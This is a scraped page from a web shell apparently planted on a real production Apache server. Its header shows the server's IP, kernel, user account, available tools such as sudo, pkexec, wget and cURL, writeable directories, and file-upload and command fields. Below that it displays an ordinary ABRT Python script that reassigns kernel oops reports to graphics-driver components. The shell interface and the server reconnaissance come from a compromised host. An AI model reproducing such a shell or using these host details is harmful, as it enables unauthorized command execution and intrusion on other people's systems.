403Webshell
Server IP : 152.69.216.235  /  Your IP : 80.80.80.28
Web Server : Apache/2.4.37 (Oracle Linux Server)
System : Linux ust-wp4-prod 5.15.0-310.184.5.2.el8uek.x86_64 #2 SMP Wed Jul 9 16:08:33 PDT 2025 x86_64
User : apache ( 48)
PHP Version : 8.4.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bin/abrt-action-check-oops-for-alt-component
#!/usr/libexec/platform-python -u

import sys
import os
import locale
import gettext
import hashlib
import re

GETTEXT_PROGNAME = "abrt"

_ = gettext.gettext

tags = [
"WARNING:",
"[ER]IP[^:]",
" \\[<[a-f0-9]{8,16}>\\]"
]

checks = [
 ("i915", "xorg-x11-drv-intel"),
 ("nouveau", "xorg-x11-drv-nouveau"),
 ("radeon", "xorg-x11-drv-ati"),
 ("qxl", "xorg-x11-drv-qxl"),
]

def check_tag(line):
    for tag in tags:
        if re.match(tag, line) is not None:
            for (mod, component) in checks:
                if re.search(mod, line) is not None:
                    return component
    return None

def get_new_component(filename):
    try:
        f = open(filename, "r")
    except IOError as e:
        return None
    for line in f:
        c = check_tag(line)
        if c is not None:
            f.close()
            return c
    f.close()
    return None

def open_or_die(filename, mode):
    try:
        f = open(filename, mode)
    except IOError as e:
        sys.stderr.write(str(e) + "\n")
        sys.exit(1)
    return f


if __name__ == "__main__":
    try:
        locale.setlocale(locale.LC_ALL, "")
    except locale.Error:
        os.environ['LC_ALL'] = 'C'
        locale.setlocale(locale.LC_ALL, "")

    # Defeat "AttributeError: 'module' object has no attribute 'nl_langinfo'"
    try:
        gettext.bind_textdomain_codeset(GETTEXT_PROGNAME,
                                        locale.nl_langinfo(locale.CODESET))
    except AttributeError:
        pass

    gettext.bindtextdomain(GETTEXT_PROGNAME, '/usr/share/locale')
    gettext.textdomain(GETTEXT_PROGNAME)

    #
    # Certain drivers are in the kernel but need to be tracked separtely
    # in other components. This fixes those components.
    #

    new_component = get_new_component("backtrace")
    if new_component is None:
        sys.exit(0)

    print("Oops looks like a problem in kernel module, new component {0}"
            .format(new_component))

    f = open_or_die("component", "w")
    f.write(new_component)
    f.close()

    # keep kernel maint in the loop even if the component gets changed
    f = open_or_die("extra-cc", "w")
    f.write("kernel-maint@redhat.com")
    f.close()

Youez - 2016 - github.com/yon3zu
LinuXploit